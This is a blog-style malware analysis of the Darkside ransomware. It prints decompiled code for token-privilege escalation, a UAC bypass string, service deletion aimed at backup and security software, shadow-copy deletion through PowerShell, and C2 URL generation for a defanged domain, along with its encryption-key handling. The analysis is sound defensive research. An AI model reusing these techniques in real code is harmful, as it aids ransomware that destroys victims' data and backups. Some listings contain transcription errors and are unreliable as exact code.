

[Mal Series #13] Darkside Ransom

ghoulsec.medium.com/mal-series-13-darkside-ransomware-c13d893c36a6

GhouLSec

May 1, 2021



GhouLSec

Dec 3, 2020

5 min read

Here is my analysis of the Darkside ransomware.

Will attach more screenshot regarding of my analysis this time 😊

Didn't connect to the C2 during the analysis

Dynamically Resolve Windows API

```
undefined4 EDX:4 ptr_winet XREF[1]: 0 37
undefined4 HASH:re3bodd...p_kernel32 38
undefined4 HASH:3fd327...var_dec 39
resolve_api XREF[1]: FUN_00407 40
0040185a 53 PUSH EBX 41
0040185b 51 PUSH ECX 42
0040185c 52 PUSH EDX 43
0040185d 56 PUSH ESI 44
0040185e 57 PUSH EDI 45
0040185f 8d 35 04 LEA ESI,[p_ntdll] = 08h 46
a0 40 00 47
00401863 8d 3d 66 LEA EDI,[wcsicmp] = ?? 48
0c 41 00 49
0040186b ff 76 fc PUSH dword ptr [ESI + -0x4]>DAT_0040a000 = 0000 50
0040186c 56 PUSH ESI->p_ntdll = 08h 51
0040186d e8 91 fc CALL wrap_decrypt_strings undefin 52
ff ff 53
00401874 56 PUSH ESI->p_ntdll = 08h 54
00401875 e8 25 69 CALL LoadLibraryA HMODULE 55
00 00 56
0040187a 8b 48 MOV EBX,EAX 57
0040187b ff 76 fc PUSH dword ptr [ESI + -0x4]>DAT_0040a000 = 0000 58
0040187c 56 PUSH ESI->p_ntdll = 08h 59
00401880 e8 85 fb CALL clear_buf undefin 60
ff ff 61
00401885 8b 46 fc MOV EAX,dword ptr [ESI + -0x4]>DAT_0040a000 = 0000 62
00401888 8d 34 06 LEA ESI,[ESI + EAX*0x1]>DAT_0040a00a = 0000 63
wrap_decrypt_strings((int)sp_ntdll,DAT_0040a000);
LoadLibraryA(sp_ntdll);
clear_buf(extraout_ECX,extraout_EDX,(undefined (*) [16])sp_ntdll,DAT_0040a000);
uVar3 = DAT_0040a000;
puVar1 = (uint *) (sp_ntdll + DAT_0040a000);
wrap_get_proc_addr();
pauVar2 = (undefined (*) [16]) (uVar3 + 0x40a008);
wrap_decrypt_strings((int)pauVar2,*puVar1);
LoadLibraryA((LPCSTR)pauVar2);
clear_buf(extraout_ECX_00,extraout_EDX_00,pauVar2,* (uint *) (sp_ntdll + uVar3));
puVar1 = (uint *) (*pauVar2 + *(int *) (sp_ntdll + uVar3));
wrap_get_proc_addr();
pauVar2 = (undefined (*) [16]) (puVar1 + 1);
wrap_decrypt_strings((int)pauVar2,*puVar1);
var_dec = ptr_kernel32;
LoadLibraryA((LPCSTR)pauVar2);
clear_buf(extraout_ECX_01,var_dec,pauVar2,*puVar1);
puVar1 = (uint *) (*pauVar2 + *puVar1);
wrap_get_proc_addr();
pauVar2 = (undefined (*) [16]) (puVar1 + 1);
wrap_decrypt_strings((int)pauVar2,*puVar1);
var_dec = ptr_shell32;
LoadLibraryA((LPCSTR)pauVar2);
clear_buf(extraout_ECX_02,var_dec,pauVar2,*puVar1);
puVar1 = (uint *) (*pauVar2 + *puVar1);
wrap_get_proc_addr();
```

Elevate Privilege (If running in Non-Admin privilege)

Utilizing COM bypass UAC privilege (When Access Token Method Failed)

Elevation:Administrator!new:%s

Get access token from admin process (e.g. Explorer.exe)

```

local_8 = 0;
local_c = (int *)0x0;
iVar1 = (*_OpenProcessToken)(0xffffffff, 0x28, &local_8);
if (iVar1 != 0) {
    (*_GetTokenInformation)(local_8, 3, &local_c, 4, &local_10);
    local_c = (int *)(*_RtlAllocateHeap)(dat_PEB_ProcHeap, 8, local_10);
    iVar1 = (*_GetTokenInformation)(local_8, 3, local_c, local_10, &local_10);
    if (iVar1 != 0) {
        piVar2 = local_c + 1;
        iVar1 = *local_c;
        do {
            if (piVar2[2] == 0) {
                piVar2[2] = 2;
            }
            piVar2 = piVar2 + 3;
            iVar1 = iVar1 + -1;
        } while (iVar1 != 0);
        (*_AdjustTokenPrivilege)(local_8, 0, local_c, 0, 0, 0);
    }
}
}

```

Adjust Privilege Token

Hash Generation File Extention, Mutex, Victim's ID

```

do {
    bVar2 = *crc_hash >> 4;
    bVar4 = *crc_hash & 0xf;
    if (bVar2 < 10) {
        bVar2 = bVar2 + 0x30;
    }
    uVar3 = (ushort)bVar2;
    if (('t' < bVar2) && (bVar2 < 16)) {
        uVar3 = (ushort)(byte)(bVar2 + 'W');
    }
    if (bVar4 < 10) {
        bVar4 = bVar4 + '0';
    }
    if ((9 < bVar4) && (bVar4 < 16)) {
        bVar4 = bVar4 + 87;
    }
    puVar1 = param_3 + 1;
    *param_3 = uVar3;
    param_3 = param_3 + 2;
    *puVar1 = (ushort)bVar4;
    i_4 = i_4 + -1;
    crc_hash = crc_hash + 1;
} while (i_4 != 0);
*param_3 = 0;
return;

```

Inside gen_hash_val

```

uVar2 = wrap_wrap_dec_strings(&DAT_0040b79a);
iVar1 = (*_RegOpenKeyW)(0x80000002, (int)uVar2, 0, 0x101, &local_8);
if (iVar1 == 0) {
    local_c = 1;
    local_10 = 0x80;
    uVar3 = wrap_wrap_dec_strings(&DAT_0040b7de);
    iVar1 = (*_RegQueryValueExW)(local_8, (int)uVar3, 0, &local_c, local_d0, &local_10);
    if (iVar1 == 0) {
        uVar4 = (*_WideCharToMultiByte)(0, 0, local_d0, 0xffffffff, local_50, 0x40, 0, 0);
        lVar5 = crc32_4_times(extraout_ECX, (uint)((ulonglong)uVar4 >> 0x20), local_50, (int)uVar4, 0);
        lVar5 = crc32_4_times(extraout_ECX_00, (uint)((ulonglong)lVar5 >> 0x20), (int)lVar5, 0x10, 1);
        lVar5 = crc32_4_times(extraout_ECX_01, (uint)((ulonglong)lVar5 >> 0x20), (int)lVar5, 0x10, 1);
        lVar5 = crc32_4_times(extraout_ECX_02, (uint)((ulonglong)lVar5 >> 0x20), (int)lVar5, 0x10, 1);
        *param_1 = 0x2e;
        gen_hash_val((byte *)lVar5, 4, param_1 + 1);
    }
    (*_RtlFreeHeap)(dat_PEB_ProcHeap, 0, (int)uVar3);
    (*_RegCloseKey)(local_8);
}
(*_RtlFreeHeap)(dat_PEB_ProcHeap, 0, (int)uVar2);
return;

```

Machine GUID

File Extension Name

```

iVar1 = (*_GetModuleFileNameW)(dat_image_base, local_214, 0x104);
if (iVar1 != 0) {
    local_8 = (*_CreateFile)(local_214, 0x80000000, 1, 0, 3, 0x80, 0);
    if (local_8 != -1) {
        iVar1 = (*_GetFileSize)(local_8, 0);
        iVar2 = (*_RtlAllocateHeap)(dat_PEB_ProcHeap, 0, iVar1);
        if (iVar2 != 0) {
            uVar3 = (*_ReadFile)(local_8, iVar2, iVar1, local_c, 0);
            if ((int)uVar3 != 0) {
                lVar4 = crc32_4_times(extraout_ECX, (uint)((ulonglong)uVar3 >> 0x20), iVar2, iVar1, 0);
                wrap_decrypt_strings(param_1, *(uint*)(param_1 + -4));
                gen_hash_val((byte*)lVar4, 0x10, (ushort*)(param_1 + 0xe));
            }
            if (iVar2 != 0) {
                (*_RtlFreeHeap)(dat_PEB_ProcHeap, 0, iVar2);
            }
        }
        (*_CloseHandle)(local_8);
    }
}
return;

```

Mutex: Global\\<Placeholder>
Value for <Placeholder>

Generator Mutex String

```

uVar3 = wrap_wrap_dec_strings(&DAT_0040b79a);
uVar1 = (undefined4)uVar3;
iVar2 = (*_RegOpenKeyW)(0x80000002, uVar1, 0, 0x101, &local_8);
if (iVar2 == 0) {
    local_c = 1;
    local_10 = 0x80;
    uVar3 = wrap_wrap_dec_strings(&DAT_0040b7de);
    iVar2 = (*_RegQueryValueExW)(local_8, (int)uVar3, 0, &local_c, local_d0, &local_10);
    if (iVar2 == 0) {
        uVar4 = (*_WideCharToMultiByte)(0, 0, local_d0, 0xffffffff, local_50, 0x40, 0, 0);
        lVar5 = crc32_4_times(extraout_ECX, (uint)((ulonglong)uVar4 >> 0x20), local_50, (int)uVar4, 0);
        gen_hash_val((byte*)lVar5, 10, param_1);
        iVar2 = (*_wcslen)(param_1);
        unaff_EBX = iVar2 << 1;
    }
    (*_RtlFreeHeap)(dat_PEB_ProcHeap, 0, (int)uVar3);
    (*_RegCloseKey)(local_8);
}
(*_RtlFreeHeap)(dat_PEB_ProcHeap, 0);
return CONCAT44(uVar1, unaff_EBX);

```

Victim ID: Get first 10 bytes from CRC32 block of Machine GUID

File Drop

Drop ransomware icon file in %APPDATA% and create Regkey for it.

```

uVar4 = wrap_wrap_dec_strings (&DAT_0040bd9c);
uVar5 = (*_RtlAllocateHeap) (dat_PEB_ProcHeap, 0, DAT_0040bd98 << 6);
pbVar1 = (byte *)uVar5;
uVar5 = another_decryption (extraout_ECX, (int) ((ulonglong)uVar5 >> 0x20), (byte *
wrap_CreateFile (local_41c, pbVar1, (int)uVar5);
(*_RtlFreeHeap) (dat_PEB_ProcHeap, 0, (byte *)uVar4);
(*_RtlFreeHeap) (dat_PEB_ProcHeap, 0, pbVar1);
if (_ImpersonateLoggedOnUser != 0) {
    (*_RevertToSelf) ();
}
iVar2 = (*_RegCreateKey) (0x80000000, param_1, 0, 0, 0, 0x2000000, 0, &local_8, 0);
if (iVar2 == 0) {
    iVar2 = (*_wcslen) (iVar3);
    iVar2 = (*_RegSetValueExW) (local_8, &DAT_00410700, 0, 1, iVar3, iVar2 * 2 + 2);
    if (iVar2 == 0) {
        (*_RegCloseKey) (local_8);
    }
}

```

Create File -> RegCreateKey -> RegSetValueExW

Service Enumeration and Delete

Enumerate and compare with these services,

vss, sql, svc\$, memtas, mepocs, sophos, veeam, backup

If found then delete the service.

```

local_8 = 0;
local_10 = (undefined4 *)0x0;
local_8 = (*_OpenSCManager)(0,0,4);
if (local_8 != 0) {
    local_14 = 0;
    (*_EnumServiceStatusExW)(local_8,0,0x30,3,0,0,&local_14,&local_18,0,0);
    local_10 = (undefined4 *)(*_RtlAllocateHeap)(dat_PEB_ProcHeap,8,local_14);
    iVar2 = (*_EnumServiceStatusExW)(local_8,0,0x30,3,local_10,local_14,&local_14,&loc
psVar3 = DAT_004108a4;
puVar4 = local_10;
while (DAT_004108a4 = psVar3, iVar2 != 0) {
    bVar1 = false;
    do {
        if (!bVar1) {
            (*_wcslwr)(*puVar4);
            bVar1 = true;
        }
        iVar2 = (*_wcsstr)(*puVar4,psVar3);
        if (iVar2 != 0) {
            uVar5 = (*_OpenService)(local_8,*puVar4,0x10020);
            local_c = (int)uVar5;
            if (local_c != 0) {
                clear_buf(extraout_ECX, (int)((ulonglong)uVar5 >> 0x20), (undefined (*) [16]
                );
                (*_ControlService)(local_c,1,local_34);
                (*_DeleteService)(local_c);
                (*_CloseServiceHandle)(local_c);
                break;
            }
        }
    }
}

```

Gather Victim Info

```

uVar6 = get_drive_and_capacity(local_2d8);
if ((int)uVar6 != 0) {
    local_c = 0xf;
    (*_GetUserName)(local_50, &local_c);
    if (local_c != 0) {
        iVar2 = local_c * 2;
        local_c = 0x1f;
        (*_GetComputerName)(local_90, &local_c);
        if (local_c != 0) {
            iVar3 = local_c * 2;
            uVar7 = get_language(local_30);
            if ((int)uVar7 != 0) {
                uVar8 = get_net_info(local_4e0);
                if ((int)uVar8 != 0) {
                    uVar9 = get_win_os_ver(local_d0);
                    if ((int)uVar9 != 0) {
                        uVar10 = get_machine_guid(&DAT_004108e8);
                        if ((int)uVar10 != 0) {
                            uVar11 = get_sys_arch(extraout_ECX, (uint)((ulonglong)uVar10

```

Victim's info gather function

```

{
    "bot":{
        "ver":"1.8.5.8",
        "uid":"<>"
    },
    "os":{
        "lang":"<>",
        "username":"<>",
        "hostname":"<>",
        "domain":"<>",
        "os_type":"<>",
        "os_version":"<>",
        "os_arch":">?",
        "disks":"<>",
        "id":"<>"
    }
}

```

Output of Victim's Info

Get DriverType & Size

```

uVar1 = (*_GetLogicalDriveStringsW)(0x104,local_21c);
if (uVar1 != 0) {
    root_path_name = local_21c;
    uVar1 = uVar1 >> 2;
    puVar4 = param_1;
    do {
        drive_type_code = (*_GetDriveTypeW)(root_path_name);
        if (((drive_type_code == 3) || (drive_type_code == 2)) &&
            (drive_type_code = (*_GetFreeDiskSpaceW)(root_path_name,0,&remaining,&total)
            drive_type_code != 0)) {
            *puVar4 = *root_path_name;
            uVar2 = (*_alldiv)(remaining,local_8,0x40000000,0);
            uVar2 = (*_alldiv)(total,local_10,0x40000000,0,uVar2);
            drive_type_code = (*_swprintf)(puVar4 + 1,u_%u/%u!_004106c0,uVar2);
            puVar4 = (undefined4 *)((int)(puVar4 + 1) + drive_type_code * 2);
        }
        root_path_name = root_path_name + 2;
        uVar1 = uVar1 - 1;
    } while (uVar1 != 0);
    puVar3 = (undefined2 *)(*_wcsrchr)(param_1,'|');
    *puVar3 = 0;
    drive_type_code = (*_wcslen)(param_1);
    uVar1 = drive_type_code << 1;
}
return CONCAT44(unaff_EDI,uVar1);

```

Format “<Drive Name>:<Remaining Disk Space>/<Total Disk Space>” e.g. C:30/50

Language

| HKCU = HKEY_CURRENT_USER = 0x80000001

HKCU/Control Panel/Desktop/MuiCached/MachinePreferredUILanguage

Encrypt Victim’s Info

```

00401d14 83 7c 10   CMP     ESI,0x0
00401d17 74 5d     JZ      LAB_00401d76
00401d19 83 fe 05   CMP     ESI,0x5
00401d1c 74 09     JZ      LAB_00401d27
00401d1e 83 fe 0b   CMP     ESI,0xb
00401d21 0f 85 22   JNZ     LAB_00401c49
ff ff ff

LAB_00401d27
XREP[1]: 00401d1c(j)
00401d27 8b 44 24   MOV     EAX,dword ptr [ESP + local_1c]
0c
00401d2b 83 e0 3f   AND     EAX,0x3f
00401d2e 0f b7 1c   MOVZX  EDI,word ptr [EAX*0x2 + DAT_00410f08] = ??
45 08 0f
41 00
00401d36 03 1c 24   ADD     EDI,dword ptr [ESP]=local_28
00401d39 89 1c 24   MOV     dword ptr [ESP]=local_28,EDI
00401d3c 83 e3 3f   AND     EDI,0x3f
00401d3f 0f b7 0e   MOVZX  ECX,word ptr [EDI*0x2 + DAT_00410f08] = ??
5d 08 0f
41 00
00401d47 03 4c 24   ADD     ECX,dword ptr [ESP + local_24]
04
00401d4b 89 4c 24   MOV     dword ptr [ESP + local_24],ECX
04
00401d4f 83 e1 3f   AND     ECX,0x3f
00401d52 0f b7 14   MOVZX  EDI,word ptr [ECX*0x2 + DAT_00410f08] = ??
4d 08 0f
19 local_20 = (uint)param_1[1];
20 local_1c = (uint)param_1[1];
21 iVar7 = 0;
22 while( true ) {
23   uVar6 = (ushort)local_20;
24   uVar2 = (ushort)local_1c;
25   sVar1 = (short_00410f08)[iVar7 * 4] + (uVar6 & uVar2) + (short)local_28 +
26     ((ushort)local_24 & (uVar2 ^ 0xffff));
27   uVar3 = sVar1 * 2 | (ushort)(sVar1 < 0);
28   local_28 = (uint)uVar3;
29   uVar4 = (short_00410f0a)[iVar7 * 4] + (uVar2 & uVar3) + (ushort)local_24 +
30     (uVar6 & (uVar3 ^ 0xffff));
31   uVar4 = uVar4 * 4 | uVar4 >> 0x6;
32   local_24 = (uint)uVar4;
33   uVar6 = (short_00410f0c)[iVar7 * 4] + (uVar3 & uVar4) + uVar6 + (uVar2 & (uVar4 ^
34     uVar5 = uVar6 * 8 | uVar6 >> 0ad;
35   local_20 = (uint)uVar5;
36   uVar6 = (short_00410f0e)[iVar7 * 4] + (uVar4 & uVar5) + uVar2 + (uVar3 & (uVar5 ^
37     uVar6 = uVar6 * 0x20 | uVar6 >> 0xb;
38   local_1c = (uint)uVar6;
39   iVar7 = iVar7 + 1;
40   if (iVar7 == 0x10) break;
41   if ((iVar7 == 5) || (iVar7 == 0xb)) {
42     local_28 = (ushort)(short_00410f08)[local_1c & 0x3f] + local_28;
43     local_24 = (ushort)(short_00410f08)[local_28 & 0x3f] + local_24;
44     local_20 = (ushort)(short_00410f08)[local_24 & 0x3f] + local_20;
45     local_1c = local_1c + (ushort)(short_00410f08)[local_20 & 0x3f];
46   }

```

Encryption Routine: Encrypt 8 bytes for one function call

01301C2C	0FB75E 02	movzx ecx,word ptr ds:[esi+2]
01301C30	0FB74E 04	movzx ecx,word ptr ds:[esi+4]
01301C34	0FB756 06	movzx edx,word ptr ds:[esi+6]
01301C38	890424	mov dword ptr ss:[esp],eax
01301C3B	895C24 04	mov dword ptr ss:[esp+4],ebx
01301C3F	894C24 08	mov dword ptr ss:[esp+8],ecx
01301C43	895424 0C	mov dword ptr ss:[esp+C],edx
01301C47	33F6	xor esi,esi
01301C49	885C24 08	mov ebx,dword ptr ss:[esp+8]
01301C4D	884C24 0C	mov ecx,dword ptr ss:[esp+C]
01301C51	884424 04	mov eax,dword ptr ss:[esp+4]
01301C55	23D9	and ebx,ecx
01301C57	0FB714F5 080F3101	movzx edx,word ptr ds:[esi*8+1310F08]
01301C5F	81F1 FFFF0000	xor ecx,FFFF
01301C65	03D3	add edx,ebx
01301C67	23C1	and eax,ecx
01301C69	031424	add edx,dword ptr ss:[esp]
01301C6C	03D0	add edx,eax
01301C6E	81E2 FFFF0000	and edx,FFFF
01301C74	66:D1C2	rol dx,1
01301C77	891424	mov dword ptr ss:[esp],edx
01301C7A	885C24 0C	mov ebx,dword ptr ss:[esp+C]
01301C7E	880C24	mov ecx,dword ptr ss:[esp]
01301C81	884424 08	mov eax,dword ptr ss:[esp+8]
01301C85	23D9	and ebx,ecx
01301C87	0FB714F5 0A0F3101	movzx edx,word ptr ds:[esi*8+1310F0A]
01301C8F	81F1 FFFF0000	xor ecx,FFFF
01301C95	03D3	add edx,ebx
01301C97	23C1	and eax,ecx
01301C99	035424 04	add edx,dword ptr ss:[esp+4]
01301C9D	03D0	add edx,eax
01301C9F	81E2 FFFF0000	and edx,FFFF
01301CA5	66:C1C2 02	rol dx,2
01301CA9	895424 04	mov dword ptr ss:[esp+4],edx
01301CAD	881C24	mov ebx,dword ptr ss:[esp]
01301CB0	884C24 04	mov ecx,dword ptr ss:[esp+4]
01301CB4	884424 0C	mov eax,dword ptr ss:[esp+C]

```

6E
tr [esi*8+1310F08]=[darksider.01310F08]=67D5
01301C57 darksider:$1C57 #1057 <encrypt_victim_info+3C>
mp 1 | Dump 2 | Dump 3 | Dump 4 | Dump 5 | Watch 1 | [x=] Locals | Struct
S Hex ASCII
08 D5 67 02 62 E9 5D 07 9F FF 1C A9 46 C6 0D 41 97 0g.bé]..ÿ.@FA.A.
18 7E 33 B7 4C B7 28 40 A9 24 54 7F 8A 12 A2 18 3A ~3.L.+@e$T...c.:
28 FC 32 48 5A 7E 91 00 91 B8 4A DF F2 19 5B 3E 06 ũ2HZ~...JBo.[>.
38 F9 8D 9E 0A 84 76 3E C9 E8 40 A2 5A F6 75 85 AC ũ....v>Èè@Zôu.-
48 51 89 13 88 9D 83 5D 4F 0B 14 B4 D8 BA 32 7A 4F Q....]O.. 0°2Z0
58 C2 14 13 A4 D6 3D D0 A2 F4 28 58 BD E7 4C 92 38 Ä..x0=ðeð(XççL.8
68 20 86 9F 93 F2 32 F9 5E CA DB EB 24 79 8A 44 C8 ...b2ùAÈÛesy.DÈ
78 BB D6 EF EA 58 72 98 A6 F8 CF 36 D4 8C 53 74 5C »OîèxR.;øIè0.St\
88 FE 38 68 4D EC F4 08 D0 9F 30 8E 95 86 69 96 A8 b8hm1ò.D.O...i.
98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
A8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....

```

Encryption Key maybe? 🤔

URL Path Generator

```

undefined __fastcall DGA(undefined4 param_1, uint...
undefined Ab:1 <RETURN>
undefined4 ECK:4 param_1
uint param_2
undefined2 * Stack[0x4]:4 param_3
undefined8 EDI:4,EAX:4 _Pseudo_Random
undefined4 EEX:4 idx
undefined4 EDI:4 _arr_cur
undefined4 HASH:83f7a9..._arr_next
DGA XREF[1]: Internet:
00403632 55 PUSH EBP
00403633 8b ec MOV EBP,ESP
00403635 53 PUSH EBX
00403636 51 PUSH param_1
00403637 52 PUSH param_2
00403638 56 PUSH ESI
00403639 57 PUSH EDI
0040363a 8b 7d 08 MOV EDI,dword ptr [EBP + param_3]
0040363d 66 b8 2f MOV AX,0000002f
00403641 66 ab STOSW ES:EDI
LAB_00403643 XREF[1]: 00403654(
00403643 6a 0d PUSH 0xd
00403645 e8 f3 a9 CALL pseudo_random_generator ulongl
ff ff
13
14 *param_3 = '/';
15 do {
16 do {
17 _Pseudo_Random = pseudo_random_generator(param_1,param_2,0xd);
18 param_2 = (uint)(_Pseudo_Random >> 0x20);
19 bVar1 = (byte)_Pseudo_Random;
20 param_1 = extraout_ECX;
21 } while (bVar1 < '\b');
22 } while ('\f' < bVar1);
23 idx = (uint)bVar1;
24 uVar2 = extraout_ECX;
25 _arr_cur = param_3 + 1;
26 do {
27 _Pseudo_Random = pseudo_random_generator(uVar2,param_2,'>');
28 param_2 = (uint)(_Pseudo_Random >> 0x20);
29 _arr_next = _arr_cur + 1;
30 *arr_cur = (ushort)(byte)s_ABCDEFGHIJKLMNOPQRSTUVWXYZabodef_00410580[(int)_Pseudo_Random];
31 idx = idx - 1;
32 uVar2 = extraout_ECX_00;
33 _arr_cur = _arr_next;
34 } while (idx != 0);
35 *arr_next = 0;
36 return;
37 }

```

URL Path Generator function

```

ulonglong __fastcall pseudo_random_generator(undefined4 param_1,uint param_2,uint param_3)
{
    int iVar1;

    iVar1 = wrap_random_ex();
    return (ulonglong)(iVar1 * 0x41c64e6d + 0x3039U & 0x7fffffff) % (ulonglong)param_3 |
        (ulonglong)param_2 << 0x20;
}

```

Pseudo Random

```

void srand(uint32_t seed) {
    size_t i;

    for (i = 0; i < 25; i++) {
        seed = seed * 0x41C64E6D + 0x3039;
        rand_state[i] = seed ^ rand_salt[i];

        /* on the off chance... */
        if (rand_state[i] == 0) {
            rand_state[i] = rand_salt[i];
        }
    }

    rand_regen();
}

```

Pseudo random generator similar with srand code

Internet connection

securebestapp20[.]com/<URL Path Generator>

Encrypted Powershell runs “delete shadow copy”

```

FF FF
00405265 e7 45 b4 MOV     dword ptr [EBP + local_50], 0x48
48 00 00
00
0040526c 8d 1d 6e LEA     EBX, [DAT_0040b56e] = 16h
b5 40 00
00405272 ff 73 fc PUSH   dword ptr [EBX + -0x4] => DAT_0040b56a = 000001AEh
00405275 53     PUSH   EBX => DAT_0040b56e = 16h
00405276 e8 8a c4 CALL   wrap_decrypt_strings powershell -ep bypass -c \"(...)
ff ff
0040527b 8d 45 e4 LEA     EAX => local_60, [EBP + -0x5c]
0040527c 50     PUSH   EAX
0040527f 8d 45 b4 LEA     EAX => local_50, [EBP + -0x4c]
00405282 50     PUSH   EAX
18 (*_Wow64DisableWow64FsRedirection)(local_8);
19 uVar1 = clear_buf(extraout_ECX, extraout_EDX, (undefined (*) [16]) & local_60, 0x10);
20 clear_buf(extraout_ECX_00, (int)((ulonglong)uVar1 >> 0x20), (undefined (*) [16]) local_
21 local_50[0] = 0x48;
22 wrap_decrypt_strings((int)&DAT_0040b56e, DAT_0040b56e);
23 (*_CreateProcess)(0, &DAT_0040b56e, 0, 0, 1, 0x80800000, 0, 0, local_50, &local_60);
24 uVar1 = clear_buf(extraout_ECX_01, extraout_EDX_00, (undefined (*) [16]) & DAT_0040b56e
25 if ((int)uVar1 != 0) {
26 (*_WaitForStringsObject)(local_60, 0xffffffff);
27 (*_CloseHandle)(local_60);
28 (*_CloseHandle)(local_5c);
29 }
30 (*_Wow64RevertWow64FsRedirection)(local_8);
31 return;

```

Ok, bye shadow copy

Salsa session key generation & RSA encryption on Salsa session key

The session key generated from the `RtlRandomEx` function which feeds with a hard coded seed value. The when the length == 5 it will leave 0 bytes there. (Refer to “Custom Salsa key state arrangement”)

```

void gen_key_state_salsa(int key_state_buf)
{
    int Max_length;
    undefined8 uVar1;

    Max_length = 8;
    do {
        uVar1 = wrap_random_ex();
        if (Max_length == 5) {
            uVar1 = 0;
        }
        *(int *) (key_state_buf + -4 + Max_length * 8) = (int)uVar1;
        *(int *) (key_state_buf + -8 + Max_length * 8) = (int)((ulonglong)uVar1 >> 0x20);
        Max_length = Max_length + -1;
    } while (Max_length != 0);
    return;
}

```

Salsa session key generator

```

void wrap_random_ex(void)
{
    if (_seed == 0) {
        (*_RtlRandomEx)(&seed);
    }
    (*_RtlRandomEx)(&seed);
    return;
}

```

RtlRandomEx inside wrap_random_ex()

```

00E46711 . 8D43 34 lea eax,dword ptr ds:[ebx+34]
00E46714 . 50 push eax
00E46715 . E8 52B9FFFF call <darksider.gen_key_stat_salsa>
00E4671A . 6A 40 push 40
00E4671C . 8D43 34 lea eax,dword ptr ds:[ebx+34]
00E4671F . 50 push eax
00E46720 . 8D43 74 lea eax,dword ptr ds:[ebx+74]
00E46723 . 50 push eax
00E46724 . E8 79ADFFFF call <darksider.buf_cpy>
00E46729 . 8D0D 8807E500 lea ecx,dword ptr ds:[E50788]
00E4672F . 8D81 80000000 lea eax,dword ptr ds:[ecx+80]
00E46735 . 50 push eax
00E46736 . 8D01 lea eax,dword ptr ds:[ecx]
00E46738 . 50 push eax
00E46739 . 8D43 74 lea eax,dword ptr ds:[ebx+74]
00E4673C . 50 push eax
00E4673D . E8 F1BFFFFF call <darksider.rsa>
00E46742 . 6A 00 push 0
00E46744 . 68 80000000 push 80
00E46749 . 8D43 74 lea eax,dword ptr ds:[ebx+74]
00E4674C . 50 push eax
00E4674D . E8 C2B6FFFF call <darksider.crc_calc>
00E46752 . 6A 10 push 10
00E46754 . 50 push eax
00E46755 . 8D83 F4000000 lea eax,dword ptr ds:[ebx+F4]
00E46758 . 50 push eax
00E4675C . E8 41ADFFFF call <darksider.buf_cpy>

```

Flow of the keygen -> rsa encrypt -> crc -> result buffer copy

How to identify Salsa encryption algorithm?

Found these pattern inside the code instead of its constant.

$b \wedge = (a + d) \lll ; c \wedge = (b + a) \lll ; d \wedge = (c + b) \lll$ (0xd in Hex)
 $a \wedge = (d + c) \lll ;$ (0x12 in Hex)

```

MOV     ESI, EAX
ADD     ESI, EDX
ROL     ESI, 0x7
XOR     EBX, ESI
MOV     ESI, EBX
ADD     ESI, EAX
ROL     ESI, 0x9
XOR     ECX, ESI
MOV     ESI, ECX
ADD     ESI, EBX
ROL     ESI, 0xd
XOR     EDX, ESI
MOV     ESI, EDX
ADD     ESI, ECX
ROL     ESI, 0x12
XOR     EAX, ESI

```

Yay, same pattern 😊

Let's check out the key generated. Hmm... There is no constant found for the Salsa Key generated.

```

7F 57 3B 0C 05 C4 1B 56 32 D0 40 05 4D 87 FA 06
8B 81 76 DE A7 4E CA 28 0A 4D 65 92 81 34 11 4C
00 00 00 00 00 00 00 00 3C C7 D7 15 38 9C 3C 2D
FF 89 48 D1 3D 3D 8F 44 A6 49 2E AB 59 40 1A 26

```

Custom Salsa key state arrangement

Initial state of Salsa20

"expa"	Key	Key	Key
Key	"nd 3"	Nonce	Nonce
Pos	Pos	"2-by"	Key
Key	Key	Key	"te k"

Default Salsa key state arrangement

Usually "expa", "nd 3", "2-by", "te k" were seen in Salsa implementation but this seems like a custom one.

RSA Public Key Encryption

How to determine RSA?

- Knowing the exponential (010010h LE) (10001h BE)
- Guessing the Exponential function (is good explanation regarding to the RSA algo)

The image shows a hex dump of memory. The 'Exponent' section starts at address 00000000 and contains a series of zeros. The 'Modulus' section starts at address 33554966 and contains a long sequence of hexadecimal values. The hex dump is split into columns of 4 bytes each.

Before RSA encryption

The image shows a hex dump of memory after RSA encryption. The values are now random-looking hexadecimal strings. The hex dump is split into columns of 4 bytes each.

After RSA encryption

As for details like exponential and modulo function, I still cant figure it out yet. However, feels like the rcl, sbb and adc plays an important role both exponential and modulo operation. Maybe someone can figure this out. 😞

Generates 16 bytes block hash by using RtlComputeCrc32.

The image shows a hex dump of a 16-byte CRC32 block. The first row is highlighted in red and shows the value FA°f00xè'cCCé0)W. The rest of the dump shows a series of zeros. The hex dump is split into columns of 4 bytes each.

16 bytes CRC32 block from Encrypted Salsa Key

After encrypted the byte. It will append the byte with the encrypted key and its CRC32 hash.

```
07 83 89 FA B1 E9 9D 83 83 A3 2D AA 85 B8 F3 37 ..Yú'á.°f£-ª...ó7
8D 1E DC 01 00 EF 6E 28 27 53 74 66 BB 2C 33 FE ..Û..in('Stf»,3p
RSA encrypted salsa key state
5B 7E 99 88 83 29 1B 3B 2E 37 E9 72 40 98 D0 6F [~<ff).>.7ér@~Do
27 FB 7A 62 1F 45 7A 4D A4 4C 46 9E C7 06 2F A5 'ûzb.EzM×LFžÇ./¥
44 96 E7 F3 9C 18 21 EC 40 D0 72 D7 89 82 4F 22 D-çóœ. !i@Dr×%,O"
29 3E 6D D2 F4 EF 5D DA 02 B1 C4 F2 22 4B 81 54 )>mÒôijÚ.±Äò"K.T
69 F8 37 7F 7F 55 0D D7 E8 46 51 71 82 D1 A4 87 iø7..U.×èFQq,Ñ×±
68 CB 2D A7 15 ED D8 E9 59 77 30 C4 C2 16 88 CE hĒ-$.iØéYw0ÄÄ.~Ī
4D F9 EE BC AA EF 8A BE C0 B8 DA 46 06 4F 6E 23 Mùl+ªiŠ%À ÚF.On#
CRC32 of the encrypted key state (from section above) FA°£00×ë`çCCéÖ)w
Encrypted file format
```

Excluded Folder, File and Extension

```
$recycle.bin config.msi $windows.~bt $windows.~ws windows appdata
application data boot google mozilla program files program files (x86)
programdata system volume information tor browser windows.old intel msocache
perflogs x64dbg public all users default
```

```
autorun.inf boot.ini bootfont.bin bootsect.bak desktop.ini iconcache.db
ntldr ntuser.dat ntuser.dat.log ntuser.ini thumbs.db
```

```
386 adv ani bat bin cab cmd com cpl cur deskthemepack diagcab diagcfg
diagpkg dll drv exe hlp icl icns ico ics idx ldf lnk mod mpa msc msp
msstyles msu nls nomedia ocx prf ps1 rom rtp scr shs spl sys theme themepack
wpx lock key hta msi pdb
```

Ransomnote

```
----- [ welcome to Darkside ] ----->
```

```
what happend?
```

```
-----
